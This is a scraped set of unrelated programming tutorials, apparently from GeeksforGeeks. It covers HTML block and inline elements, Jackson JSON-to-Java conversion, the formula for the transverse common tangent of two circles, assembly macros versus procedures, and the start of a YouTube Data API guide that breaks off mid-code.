<select> Tag HTML <small> Tag HTML <span> Tag HTML <strong> Tag HTML <sub> Tag HTML <sup> Tag HTML <textarea> tag HTML <bdo> Tag HTML <big> Tag HTML <img> Tag HTML <input> Tag HTML <kbd> Tag HTML <label> Tag HTML <map> Tag HTML <Object> tag span element: The <span> tag is used as a container for text. It has no required attributes. Style, class, and id are the commonly used attributes. Syntax: <span>GFG</span> Example: Below code illustrates the implementation of <span> tag. HTML <!DOCTYPE html><html> <head> <style> body { text-align: center; } h1 { color: green; } </style></head><body> <!-- Sapn element. --> <h1>Geeks <span style="color: red"> for</span> Geeks </h1> </body> </html> Output: Inline Element Supported Browsers: Google Chrome 93.0 Mozilla Firefox 91.0 Microsoft Edge 93.0 IE 11.0 Safari 14.1 Opera 78.0 bhaskargeeksforgeeks HTML-Basics Picked HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to update Node.js and NPM to next version ? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? REST API (Introduction) Hide or show elements in HTML using display property Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? How to fetch data from an API in ReactJS ?
[ { "code": null, "e": 52, "s": 24, "text": "\n08 Dec, 2021" }, { "code": null, "e": 386, "s": 52, "text": "In this article, we will know the HTML Block element & Inline element, along with understanding the implementation through the example. Every HTML documents that render the web content, will depend on the element type i.e, block or inline which are default display values. We will understand both these concepts through the examples." }, { "code": null, "e": 473, "s": 386, "text": "Example: This example illustrates the use of the block-level element & inline element." }, { "code": null, "e": 478, "s": 473, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <body> <div>GeeksforGeeks</div> Checkout the GeeksforGeeks <a href=\"https://www.geeksforgeeks.org/\" alt=\"GeeksforGeeks\"> official</a> website for the articles on various courses. </body> </html>", "e": 719, "s": 478, "text": null }, { "code": null, "e": 728, "s": 719, "text": " Output:" }, { "code": null, "e": 752, "s": 728, "text": "Block & Inline Elements" }, { "code": null, "e": 1052, "s": 752, "text": "In the above example, we have used the <div> tag that always starts in a new line & captures the full width available. We have used the inline element anchor tag <a>that is used to provide a link to a text. The inline element doesn’t start in a new line & captures only the space around the element." }, { "code": null, "e": 1294, "s": 1052, "text": "Block Level Elements: A block-level element always starts on a new line and stretches out to the left and right as far as it can ie, it occupies the whole horizontal space of its parent element & the height is equal to the content’s height. " }, { "code": null, "e": 1310, "s": 1294, "text": "Supported tags:" }, { "code": null, "e": 1329, "s": 1310, "text": "HTML <address> Tag" }, { "code": null, "e": 1351, "s": 1329, "text": "HTML <blockquote> Tag" }, { "code": null, "e": 1365, "s": 1351, "text": "HTML <dd> Tag" }, { "code": null, "e": 1380, "s": 1365, "text": "HTML <Div> Tag" }, { "code": null, "e": 1395, "s": 1380, "text": "HTML <dl> Tag " }, { "code": null, "e": 1409, "s": 1395, "text": "HTML <dt> Tag" }, { "code": null, "e": 1427, "s": 1409, "text": "HTML <canvas> Tag" }, { "code": null, "e": 1443, "s": 1427, "text": "HTML <form> Tag" }, { "code": null, "e": 1462, "s": 1443, "text": "HTML <Heading> Tag" }, { "code": null, "e": 1476, "s": 1462, "text": "HTML <hr> Tag" }, { "code": null, "e": 1490, "s": 1476, "text": "HTML <li> Tag" }, { "code": null, "e": 1506, "s": 1490, "text": "HTML <main> Tag" }, { "code": null, "e": 1521, "s": 1506, "text": "HTML <nav> Tag" }, { "code": null, "e": 1541, "s": 1521, "text": "HTML <noscript> Tag" }, { "code": null, "e": 1555, "s": 1541, "text": "HTML <ol> Tag" }, { "code": null, "e": 1570, "s": 1555, "text": "HTML <pre> Tag" }, { "code": null, "e": 1589, "s": 1570, "text": "HTML <section> Tag" }, { "code": null, "e": 1606, "s": 1589, "text": "HTML <tfoot> Tag" }, { "code": null, "e": 1620, "s": 1606, "text": "HTML <ul> Tag" }, { "code": null, "e": 1632, "s": 1620, "text": "HTML Tables" }, { "code": null, "e": 1648, "s": 1632, "text": "HTML Paragraphs" }, { "code": null, "e": 1666, "s": 1648, "text": "HTML5 <Video> Tag" }, { "code": null, "e": 1684, "s": 1666, "text": "HTML5 <aside> Tag" }, { "code": null, "e": 1704, "s": 1684, "text": "HTML5 <article> Tag" }, { "code": null, "e": 1727, "s": 1704, "text": "HTML5 <figcaption> Tag" }, { "code": null, "e": 1748, "s": 1727, "text": "HTML5 <fieldset> Tag" }, { "code": null, "e": 1767, "s": 1748, "text": "HTML5 <figure> Tag" }, { "code": null, "e": 1786, "s": 1767, "text": "HTML5 <footer> Tag" }, { "code": null, "e": 1806, "s": 1786, "text": "HTML 5 <header> Tag" }, { "code": null, "e": 1971, "s": 1806, "text": "div element: The <div> element is used as a container for other HTML elements. It has no required attributes. Style, class, and id are the commonly used attributes." }, { "code": null, "e": 1979, "s": 1971, "text": "Syntax:" }, { "code": null, "e": 1994, "s": 1979, "text": "<div>GFG</div>" }, { "code": null, "e": 2060, "s": 1994, "text": "Example: Below code illustrates the implementation of <div> tag. " }, { "code": null, "e": 2065, "s": 2060, "text": "HTML" }, { "code": "<!DOCTYPE html><html><title>Block-level Element</title> <body> <div> <h1>GeeksforGeeks</h1> <h3>GeeksforGeeks is a science portal for geeks.</h3> <h3> You can give reviews as well as contribute posts on this portal. </h3> </div></body> </html>", "e": 2364, "s": 2065, "text": null }, { "code": null, "e": 2372, "s": 2364, "text": "Output:" }, { "code": null, "e": 2386, "s": 2372, "text": "Block Element" }, { "code": null, "e": 2660, "s": 2386, "text": "Inline Elements: An inline element is the opposite of the block-level element. It does not start on a new line and takes up only the necessary width ie., it only occupies the space bounded by the tags defining the HTML element, instead of breaking the flow of the content. " }, { "code": null, "e": 2676, "s": 2660, "text": "Supported tags:" }, { "code": null, "e": 2690, "s": 2676, "text": "HTML <br> Tag" }, { "code": null, "e": 2708, "s": 2690, "text": "HTML <button> Tag" }, { "code": null, "e": 2724, "s": 2708, "text": "HTML <time> Tag" }, { "code": null, "e": 2738, "s": 2724, "text": "HTML <tt> Tag" }, { "code": null, "e": 2753, "s": 2738, "text": "HTML <var> Tag" }, { "code": null, "e": 2766, "s": 2753, "text": "HTML <a> Tag" }, { "code": null, "e": 2782, "s": 2766, "text": "HTML <abbr> Tag" }, { "code": null, "e": 2801, "s": 2782, "text": "HTML <acronym> Tag" }, { "code": null, "e": 2814, "s": 2801, "text": "HTML <b> Tag" }, { "code": null, "e": 2830, "s": 2814, "text": "HTML <cite> Tag" }, { "code": null, "e": 2846, "s": 2830, "text": "HTML <code> Tag" }, { "code": null, "e": 2861, "s": 2846, "text": "HTML <dfn> Tag" }, { "code": null, "e": 2875, "s": 2861, "text": "HTML <em> Tag" }, { "code": null, "e": 2888, "s": 2875, "text": "HTML <i> Tag" }, { "code": null, "e": 2906, "s": 2888, "text": "HTML <output> Tag" }, { "code": null, "e": 2920, "s": 2906, "text": "HTML <q> Tag " }, { "code": null, "e": 2936, "s": 2920, "text": "HTML <samp> Tag" }, { "code": null, "e": 2954, "s": 2936, "text": "HTML <script> Tag" }, { "code": null, "e": 2972, "s": 2954, "text": "HTML <select> Tag" }, { "code": null, "e": 2989, "s": 2972, "text": "HTML <small> Tag" }, { "code": null, "e": 3005, "s": 2989, "text": "HTML <span> Tag" }, { "code": null, "e": 3023, "s": 3005, "text": "HTML <strong> Tag" }, { "code": null, "e": 3038, "s": 3023, "text": "HTML <sub> Tag" }, { "code": null, "e": 3053, "s": 3038, "text": "HTML <sup> Tag" }, { "code": null, "e": 3073, "s": 3053, "text": "HTML <textarea> tag" }, { "code": null, "e": 3088, "s": 3073, "text": "HTML <bdo> Tag" }, { "code": null, "e": 3103, "s": 3088, "text": "HTML <big> Tag" }, { "code": null, "e": 3118, "s": 3103, "text": "HTML <img> Tag" }, { "code": null, "e": 3135, "s": 3118, "text": "HTML <input> Tag" }, { "code": null, "e": 3150, "s": 3135, "text": "HTML <kbd> Tag" }, { "code": null, "e": 3167, "s": 3150, "text": "HTML <label> Tag" }, { "code": null, "e": 3182, "s": 3167, "text": "HTML <map> Tag" }, { "code": null, "e": 3200, "s": 3182, "text": "HTML <Object> tag" }, { "code": null, "e": 3348, "s": 3200, "text": "span element: The <span> tag is used as a container for text. It has no required attributes. Style, class, and id are the commonly used attributes." }, { "code": null, "e": 3357, "s": 3348, "text": "Syntax: " }, { "code": null, "e": 3374, "s": 3357, "text": "<span>GFG</span>" }, { "code": null, "e": 3441, "s": 3374, "text": "Example: Below code illustrates the implementation of <span> tag. " }, { "code": null, "e": 3446, "s": 3441, "text": "HTML" }, { "code": "<!DOCTYPE html><html> <head> <style> body { text-align: center; } h1 { color: green; } </style></head><body> <!-- Sapn element. --> <h1>Geeks <span style=\"color: red\"> for</span> Geeks </h1> </body> </html>", "e": 3712, "s": 3446, "text": null }, { "code": null, "e": 3720, "s": 3712, "text": "Output:" }, { "code": null, "e": 3735, "s": 3720, "text": "Inline Element" }, { "code": null, "e": 3756, "s": 3735, "text": "Supported Browsers: " }, { "code": null, "e": 3775, "s": 3756, "text": "Google Chrome 93.0" }, { "code": null, "e": 3796, "s": 3775, "text": "Mozilla Firefox 91.0" }, { "code": null, "e": 3816, "s": 3796, "text": "Microsoft Edge 93.0" }, { "code": null, "e": 3824, "s": 3816, "text": "IE 11.0" }, { "code": null, "e": 3836, "s": 3824, "text": "Safari 14.1" }, { "code": null, "e": 3847, "s": 3836, "text": "Opera 78.0" }, { "code": null, "e": 3868, "s": 3847, "text": "bhaskargeeksforgeeks" }, { "code": null, "e": 3880, "s": 3868, "text": "HTML-Basics" }, { "code": null, "e": 3887, "s": 3880, "text": "Picked" }, { "code": null, "e": 3892, "s": 3887, "text": "HTML" }, { "code": null, "e": 3909, "s": 3892, "text": "Web Technologies" }, { "code": null, "e": 3914, "s": 3909, "text": "HTML" }, { "code": null, "e": 4012, "s": 3914, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 4060, "s": 4012, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 4122, "s": 4060, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 4172, "s": 4122, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 4196, "s": 4172, "text": "REST API (Introduction)" }, { "code": null, "e": 4249, "s": 4196, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 4282, "s": 4249, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 4344, "s": 4282, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 4405, "s": 4344, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 4455, "s": 4405, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
How to convert a JSON to Java Object using the Jackson library in Java?
The ObjectMapper class is the most important class in the Jackson library. We can convert a JSON to Java Object using the readValue() method of ObjectMapper class, this method deserializes a JSON content from given JSON content String. public <T> readValue(String content, JavaType valueType) throws IOException, JsonParseException, JsonMappingException import java.io.*; import java.util.*; import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.databind.*; public class JSONToJavaObjectTest { public static void main(String args[]) throws JsonGenerationException, JsonMappingException, IOException { Employee emp1 = new Employee(); emp1.setFirstName("Raja"); emp1.setLastName("Ramesh"); emp1.setId(115); emp1.getTechnologies().add("Java"); emp1.getTechnologies().add("Selenium"); emp1.getTechnologies().add("Spark"); ObjectMapper mapper = new ObjectMapper(); String jsonStr = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(emp1); System.out.println(jsonStr); System.out.println("Deserializing JSON to Object:"); Employee emp2 = mapper.readValue(jsonStr, Employee.class); System.out.println(emp2.getId() + " " + emp2.getFirstName() + " " + emp2.getLastName() + " " + emp2.getTechnologies()); } } // Employee class class Employee { private int id; private String firstName; private String lastName; private List technologies = new ArrayList<>(); public int getId() { return id; } public void setId(int id) { this.id = id; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public List getTechnologies() { return technologies; } public void setTechnologies(List technologies) { this.technologies = technologies; } } { "id" : 115, "firstName" : "Raja", "lastName" : "Ramesh", "technologies" : [ "Java", "Selenium", "Spark" ] } Deserializing JSON to Object: 115 Raja Ramesh [Java, Selenium, Spark]
[ { "code": null, "e": 1423, "s": 1187, "text": "The ObjectMapper class is the most important class in the Jackson library. We can convert a JSON to Java Object using the readValue() method of ObjectMapper class, this method deserializes a JSON content from given JSON content String." }, { "code": null, "e": 1541, "s": 1423, "text": "public <T> readValue(String content, JavaType valueType) throws IOException, JsonParseException, JsonMappingException" }, { "code": null, "e": 3216, "s": 1541, "text": "import java.io.*;\nimport java.util.*;\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.databind.*;\npublic class JSONToJavaObjectTest {\n public static void main(String args[]) throws JsonGenerationException, JsonMappingException, IOException {\n Employee emp1 = new Employee();\n emp1.setFirstName(\"Raja\");\n emp1.setLastName(\"Ramesh\");\n emp1.setId(115);\n emp1.getTechnologies().add(\"Java\");\n emp1.getTechnologies().add(\"Selenium\");\n emp1.getTechnologies().add(\"Spark\");\n ObjectMapper mapper = new ObjectMapper();\n String jsonStr = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(emp1);\n System.out.println(jsonStr);\n System.out.println(\"Deserializing JSON to Object:\");\n Employee emp2 = mapper.readValue(jsonStr, Employee.class);\n System.out.println(emp2.getId() + \" \" + emp2.getFirstName() + \" \" + emp2.getLastName() + \" \" + emp2.getTechnologies());\n }\n}\n// Employee class\nclass Employee {\n private int id;\n private String firstName;\n private String lastName;\n private List technologies = new ArrayList<>();\n public int getId() {\n return id;\n }\n public void setId(int id) {\n this.id = id;\n }\n public String getFirstName() {\n return firstName;\n }\n public void setFirstName(String firstName) {\n this.firstName = firstName;\n }\n public String getLastName() {\n return lastName;\n }\n public void setLastName(String lastName) {\n this.lastName = lastName;\n } \n public List getTechnologies() {\n return technologies;\n }\n public void setTechnologies(List technologies) {\n this.technologies = technologies;\n }\n}" }, { "code": null, "e": 3400, "s": 3216, "text": "{\n \"id\" : 115,\n \"firstName\" : \"Raja\",\n \"lastName\" : \"Ramesh\",\n \"technologies\" : [ \"Java\", \"Selenium\", \"Spark\" ]\n}\nDeserializing JSON to Object:\n115 Raja Ramesh [Java, Selenium, Spark]" } ]
Length of the transverse common tangent between the two non intersecting circles
07 Jun, 2022 Given two circles of given radii, having there centres a given distance apart, such that the circles don’t touch each other. The task is to find the length of the transverse common tangent between the circles.Examples: Input: r1 = 4, r2 = 6, d = 12 Output: 6.63325 Input: r1 = 7, r2 = 9, d = 21 Output: 13.6015 Approach: Let the radii of the circles be r1 & r2 respectively.Let the distance between the centers be d units.Draw a line O’R parallel to PQ,angle OPQ = angle RPQ = 90 deg angle O’QP = 90 deg { line joining the center of the circle to the point of contact makes an angle of 90 degree with the tangent } angle RPQ + angle O’QP = 180 deg PR || O’QSince opposite sides are parallel and interior angles are 90, therefore O’PQR is a rectangle.O’Q = RP = r2 and PQ = O’RIn triangle OO’Rangle ORO’ = 90 deg By Pythagoras theorem, OR^2 + O’R^2 = OO’^2 O’R^2 = OO’^2 – OR^2 O’R^2 = d^2 – (r1+r2)^2 O’R^2 = √(d^2 – (r1+r2)^2) Let the radii of the circles be r1 & r2 respectively. Let the distance between the centers be d units. Draw a line O’R parallel to PQ, angle OPQ = angle RPQ = 90 deg angle O’QP = 90 deg { line joining the center of the circle to the point of contact makes an angle of 90 degree with the tangent } angle RPQ + angle O’QP = 180 deg PR || O’Q Since opposite sides are parallel and interior angles are 90, therefore O’PQR is a rectangle. O’Q = RP = r2 and PQ = O’R In triangle OO’Rangle ORO’ = 90 deg By Pythagoras theorem, OR^2 + O’R^2 = OO’^2 O’R^2 = OO’^2 – OR^2 O’R^2 = d^2 – (r1+r2)^2 O’R^2 = √(d^2 – (r1+r2)^2) C++ Java Python3 C# PHP Javascript // C++ program to find the length// of the transverse common tangent// between two circles which// do not touch each other #include <bits/stdc++.h>using namespace std; // Function to find the length// of the transverse common tangentvoid lengthOfTangent(double r1, double r2, double d){ cout << "The length of the transverse" << " common tangent is " << sqrt(pow(d, 2) - pow((r1 + r2), 2)) << endl;} // Driver codeint main(){ double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); return 0;} // Java program to find the length// of the transverse common tangent// between two circles which// do not touch each otherclass GFG { // Function to find the length // of the transverse common tangent static void lengthOfTangent(double r1, double r2, double d) { System.out.println("The length of the transverse" + " common tangent is " + Math.sqrt(Math.pow(d, 2) - Math.pow((r1 + r2), 2))); } // Driver code public static void main(String args[]) { double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); }} // This code has been contributed by 29AjayKumar # python 3 program to find the length# of the transverse common tangent# between two circles which# do not touch each otherfrom math import sqrt, pow # Function to find the length# of the transverse common tangentdef lengthOfTangent(r1, r2, d): print("The length of the transverse", "common tangent is", '{0:.6g}'.format(sqrt(pow(d, 2) - pow((r1 + r2), 2)))) # Driver codeif __name__ == '__main__': r1 = 4 r2 = 6 d = 12 lengthOfTangent(r1, r2, d) # This code is contributed by# Surendra_Gangwar // C# program to find the length// of the transverse common tangent// between two circles which// do not touch each otherusing System; class GFG { // Function to find the length // of the transverse common tangent static void lengthOfTangent(double r1, double r2, double d) { Console.WriteLine("The length of the transverse" + " common tangent is " + Math.Sqrt(Math.Pow(d, 2) - Math.Pow((r1 + r2), 2))); } // Driver code static public void Main() { double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); }} // This code has been contributed by ajit. <?php// PHP program to find the length// of the transverse common tangent// between two circles which// do not touch each other // Function to find the length// of the transverse common tangentfunction lengthOfTangent($r1, $r2, $d){ echo "The length of the transverse common tangent is ", sqrt(pow($d, 2) - pow(($r1 + $r2), 2)) ;} // Driver code$r1 = 4; $r2 = 6; $d = 12;lengthOfTangent($r1, $r2, $d); // This code is contributed by AnkitRai01?> <script> // javascript program to find the length// of the transverse common tangent// between two circles which// do not touch each other // Function to find the length// of the transverse common tangentfunction lengthOfTangent(r1,r2 , d){ document.write("The length of the transverse" + " common tangent is " + Math.sqrt(Math.pow(d, 2) - Math.pow((r1 + r2), 2)));} // Driver code var r1 = 4, r2 = 6, d = 12;lengthOfTangent(r1, r2, d); // This code contributed by Princi Singh </script> The length of the transverse common tangent is 6.63325 Time Complexity: O(1) Auxiliary Space: O(1) ankthon 29AjayKumar SURENDRA_GANGWAR jit_t princi singh souravkumar29 circle Geometric Mathematical Mathematical Geometric Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n07 Jun, 2022" }, { "code": null, "e": 249, "s": 28, "text": "Given two circles of given radii, having there centres a given distance apart, such that the circles don’t touch each other. The task is to find the length of the transverse common tangent between the circles.Examples: " }, { "code": null, "e": 342, "s": 249, "text": "Input: r1 = 4, r2 = 6, d = 12\nOutput: 6.63325\n\nInput: r1 = 7, r2 = 9, d = 21\nOutput: 13.6015" }, { "code": null, "e": 356, "s": 344, "text": "Approach: " }, { "code": null, "e": 964, "s": 356, "text": "Let the radii of the circles be r1 & r2 respectively.Let the distance between the centers be d units.Draw a line O’R parallel to PQ,angle OPQ = angle RPQ = 90 deg angle O’QP = 90 deg { line joining the center of the circle to the point of contact makes an angle of 90 degree with the tangent } angle RPQ + angle O’QP = 180 deg PR || O’QSince opposite sides are parallel and interior angles are 90, therefore O’PQR is a rectangle.O’Q = RP = r2 and PQ = O’RIn triangle OO’Rangle ORO’ = 90 deg By Pythagoras theorem, OR^2 + O’R^2 = OO’^2 O’R^2 = OO’^2 – OR^2 O’R^2 = d^2 – (r1+r2)^2 O’R^2 = √(d^2 – (r1+r2)^2)" }, { "code": null, "e": 1018, "s": 964, "text": "Let the radii of the circles be r1 & r2 respectively." }, { "code": null, "e": 1067, "s": 1018, "text": "Let the distance between the centers be d units." }, { "code": null, "e": 1099, "s": 1067, "text": "Draw a line O’R parallel to PQ," }, { "code": null, "e": 1263, "s": 1099, "text": "angle OPQ = angle RPQ = 90 deg angle O’QP = 90 deg { line joining the center of the circle to the point of contact makes an angle of 90 degree with the tangent } " }, { "code": null, "e": 1306, "s": 1263, "text": "angle RPQ + angle O’QP = 180 deg PR || O’Q" }, { "code": null, "e": 1400, "s": 1306, "text": "Since opposite sides are parallel and interior angles are 90, therefore O’PQR is a rectangle." }, { "code": null, "e": 1427, "s": 1400, "text": "O’Q = RP = r2 and PQ = O’R" }, { "code": null, "e": 1579, "s": 1427, "text": "In triangle OO’Rangle ORO’ = 90 deg By Pythagoras theorem, OR^2 + O’R^2 = OO’^2 O’R^2 = OO’^2 – OR^2 O’R^2 = d^2 – (r1+r2)^2 O’R^2 = √(d^2 – (r1+r2)^2)" }, { "code": null, "e": 1585, "s": 1581, "text": "C++" }, { "code": null, "e": 1590, "s": 1585, "text": "Java" }, { "code": null, "e": 1598, "s": 1590, "text": "Python3" }, { "code": null, "e": 1601, "s": 1598, "text": "C#" }, { "code": null, "e": 1605, "s": 1601, "text": "PHP" }, { "code": null, "e": 1616, "s": 1605, "text": "Javascript" }, { "code": "// C++ program to find the length// of the transverse common tangent// between two circles which// do not touch each other #include <bits/stdc++.h>using namespace std; // Function to find the length// of the transverse common tangentvoid lengthOfTangent(double r1, double r2, double d){ cout << \"The length of the transverse\" << \" common tangent is \" << sqrt(pow(d, 2) - pow((r1 + r2), 2)) << endl;} // Driver codeint main(){ double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); return 0;}", "e": 2149, "s": 1616, "text": null }, { "code": "// Java program to find the length// of the transverse common tangent// between two circles which// do not touch each otherclass GFG { // Function to find the length // of the transverse common tangent static void lengthOfTangent(double r1, double r2, double d) { System.out.println(\"The length of the transverse\" + \" common tangent is \" + Math.sqrt(Math.pow(d, 2) - Math.pow((r1 + r2), 2))); } // Driver code public static void main(String args[]) { double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); }} // This code has been contributed by 29AjayKumar", "e": 2883, "s": 2149, "text": null }, { "code": "# python 3 program to find the length# of the transverse common tangent# between two circles which# do not touch each otherfrom math import sqrt, pow # Function to find the length# of the transverse common tangentdef lengthOfTangent(r1, r2, d): print(\"The length of the transverse\", \"common tangent is\", '{0:.6g}'.format(sqrt(pow(d, 2) - pow((r1 + r2), 2)))) # Driver codeif __name__ == '__main__': r1 = 4 r2 = 6 d = 12 lengthOfTangent(r1, r2, d) # This code is contributed by# Surendra_Gangwar", "e": 3457, "s": 2883, "text": null }, { "code": "// C# program to find the length// of the transverse common tangent// between two circles which// do not touch each otherusing System; class GFG { // Function to find the length // of the transverse common tangent static void lengthOfTangent(double r1, double r2, double d) { Console.WriteLine(\"The length of the transverse\" + \" common tangent is \" + Math.Sqrt(Math.Pow(d, 2) - Math.Pow((r1 + r2), 2))); } // Driver code static public void Main() { double r1 = 4, r2 = 6, d = 12; lengthOfTangent(r1, r2, d); }} // This code has been contributed by ajit.", "e": 4179, "s": 3457, "text": null }, { "code": "<?php// PHP program to find the length// of the transverse common tangent// between two circles which// do not touch each other // Function to find the length// of the transverse common tangentfunction lengthOfTangent($r1, $r2, $d){ echo \"The length of the transverse common tangent is \", sqrt(pow($d, 2) - pow(($r1 + $r2), 2)) ;} // Driver code$r1 = 4; $r2 = 6; $d = 12;lengthOfTangent($r1, $r2, $d); // This code is contributed by AnkitRai01?>", "e": 4632, "s": 4179, "text": null }, { "code": "<script> // javascript program to find the length// of the transverse common tangent// between two circles which// do not touch each other // Function to find the length// of the transverse common tangentfunction lengthOfTangent(r1,r2 , d){ document.write(\"The length of the transverse\" + \" common tangent is \" + Math.sqrt(Math.pow(d, 2) - Math.pow((r1 + r2), 2)));} // Driver code var r1 = 4, r2 = 6, d = 12;lengthOfTangent(r1, r2, d); // This code contributed by Princi Singh </script>", "e": 5203, "s": 4632, "text": null }, { "code": null, "e": 5258, "s": 5203, "text": "The length of the transverse common tangent is 6.63325" }, { "code": null, "e": 5282, "s": 5260, "text": "Time Complexity: O(1)" }, { "code": null, "e": 5304, "s": 5282, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 5312, "s": 5304, "text": "ankthon" }, { "code": null, "e": 5324, "s": 5312, "text": "29AjayKumar" }, { "code": null, "e": 5341, "s": 5324, "text": "SURENDRA_GANGWAR" }, { "code": null, "e": 5347, "s": 5341, "text": "jit_t" }, { "code": null, "e": 5360, "s": 5347, "text": "princi singh" }, { "code": null, "e": 5374, "s": 5360, "text": "souravkumar29" }, { "code": null, "e": 5381, "s": 5374, "text": "circle" }, { "code": null, "e": 5391, "s": 5381, "text": "Geometric" }, { "code": null, "e": 5404, "s": 5391, "text": "Mathematical" }, { "code": null, "e": 5417, "s": 5404, "text": "Mathematical" }, { "code": null, "e": 5427, "s": 5417, "text": "Geometric" } ]
Difference between Macro and Procedure
07 Jun, 2022 Assembly language is a common intermediate level programming language which is used for microprocessor programming. This macro and procedure are two concepts in assembly by which modular programming is implemented. So now let’s understand how macro and procedure are different from each other. 1. Macro : Macro is a set of instruction and the programmer can use it anywhere in the program by using its name. It is mainly used to achieve modular programming. So same set of instructions can be used multiple times when ever required by the help of macro. Wherever macro’s identifier is used, it is replaced by the actual defined instructions during compilation thereby no calling and return occurs. Syntax of macro : %macro macro_name number_of_parameters <macro body> %endmacro 2. Procedure : Procedures are also like macro, but they are used for large set of instruction when macro is useful for small set of instructions. It contains a set of instructions which performs a specific task. It contains three main parts i.e Procedure name to identify the procedure, procedure body which contains set of instructions, and RET statement which denotes return statement. Unlike macros, procedures follow call-return method thereby achieving true modularity. Syntax of Procedure : procedure_name : procedure body .......................... RET To call a procedure CALL procedure_name After execution of procedure control passes to the calling procedure using RET statement. Difference between Macro and Procedure : omkarphansopkar srkota1951 Computer Organization & Architecture Difference Between Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 54, "s": 26, "text": "\n07 Jun, 2022" }, { "code": null, "e": 349, "s": 54, "text": "Assembly language is a common intermediate level programming language which is used for microprocessor programming. This macro and procedure are two concepts in assembly by which modular programming is implemented. So now let’s understand how macro and procedure are different from each other. " }, { "code": null, "e": 754, "s": 349, "text": "1. Macro : Macro is a set of instruction and the programmer can use it anywhere in the program by using its name. It is mainly used to achieve modular programming. So same set of instructions can be used multiple times when ever required by the help of macro. Wherever macro’s identifier is used, it is replaced by the actual defined instructions during compilation thereby no calling and return occurs. " }, { "code": null, "e": 773, "s": 754, "text": "Syntax of macro : " }, { "code": null, "e": 835, "s": 773, "text": "%macro macro_name number_of_parameters\n<macro body>\n%endmacro" }, { "code": null, "e": 1310, "s": 835, "text": "2. Procedure : Procedures are also like macro, but they are used for large set of instruction when macro is useful for small set of instructions. It contains a set of instructions which performs a specific task. It contains three main parts i.e Procedure name to identify the procedure, procedure body which contains set of instructions, and RET statement which denotes return statement. Unlike macros, procedures follow call-return method thereby achieving true modularity." }, { "code": null, "e": 1333, "s": 1310, "text": "Syntax of Procedure : " }, { "code": null, "e": 1397, "s": 1333, "text": "procedure_name :\nprocedure body\n ..........................\nRET" }, { "code": null, "e": 1419, "s": 1397, "text": "To call a procedure " }, { "code": null, "e": 1439, "s": 1419, "text": "CALL procedure_name" }, { "code": null, "e": 1530, "s": 1439, "text": "After execution of procedure control passes to the calling procedure using RET statement. " }, { "code": null, "e": 1572, "s": 1530, "text": "Difference between Macro and Procedure : " }, { "code": null, "e": 1592, "s": 1576, "text": "omkarphansopkar" }, { "code": null, "e": 1603, "s": 1592, "text": "srkota1951" }, { "code": null, "e": 1640, "s": 1603, "text": "Computer Organization & Architecture" }, { "code": null, "e": 1659, "s": 1640, "text": "Difference Between" } ]
How to get YouTube video data by using YouTube data API and PHP ?
15 Oct, 2020 Thumbnails are used for a preview of a single or group of media entities in a single explorer window. It saves time and gives a better focus to the user’s attention and help us grab attention and educate viewer enhancing web design project. The description is a few words more than the title. The more words in the YouTube video description, the possibility of more exact keywords to represent on, which is very important to get found in search engines. Video channels should know data about the video to rank better and get more public views because no one can see what exactly in the video content, so it needs data. The main aim of the title is to represent and describe each result in the best way and which can relate to the user’s search query. The title is the foremost piece of information which is used to decide which link to click on, so it becomes important to retrieve well-understood titles on your web pages. The titles help the search engine to crawl for the relevant data. Title and Description plays a key role in making the video important and for search engine ranking factors. Purpose: The article shows the title, description, and thumbnail for a particular YouTube URL link. HTML form requests a YouTube video URL for the given input. When the user pastes the URL into the input field and submits it, this URL variable will be sent to the PHP file. After getting data from the URL, it will be previewed on the browser. YouTube Video Data API key: YouTube Data API is available free for usage. We need the YouTube data API key for the implementation of the following example program. Each YouTube video will have a specific ID associated with it and this ID is passed to the API call for data retrieval. Let us see step by step how to create a YouTube data API key. Approach: Go to the Google Developer Console link and login to your own Google account. After logging in, go to the link and click on the blue-colored CREATE PROJECT button. We have to wait for some time until Google prepares the developers’ project. Fill in the project name of your own choice. In Google API Console, click the ‘Select a project link’. Then click the plus button (+) to create a project. Enter the project name of your own choice and select other options >> Click the create button. It takes a few seconds to set up a developer’s new project. Once it’s done, select your project. Click the library link on the left navigation menu. Under the YouTube APIs section, click the YouTube Data API link. Enable the YouTube Data API v3 to access the YouTube data by clicking the uppercased ENABLE button. Click the Credentials link on the left navigation menu. Press the “Create credentials button” selecting the API key. A dialog box will appear with your newly created API Key. Use this API key in the YouTube Data API v3 API request. HTML code: The following code shows the HTML form to request YouTube video URL for the given input. When the user pasting the URL into the input field, this URL variable will be sent to the “showDetails.php” file. After getting data from the URL, it will be previewed on the browser. HTML <!DOCTYPE html><html> <head> <link rel="stylesheet" 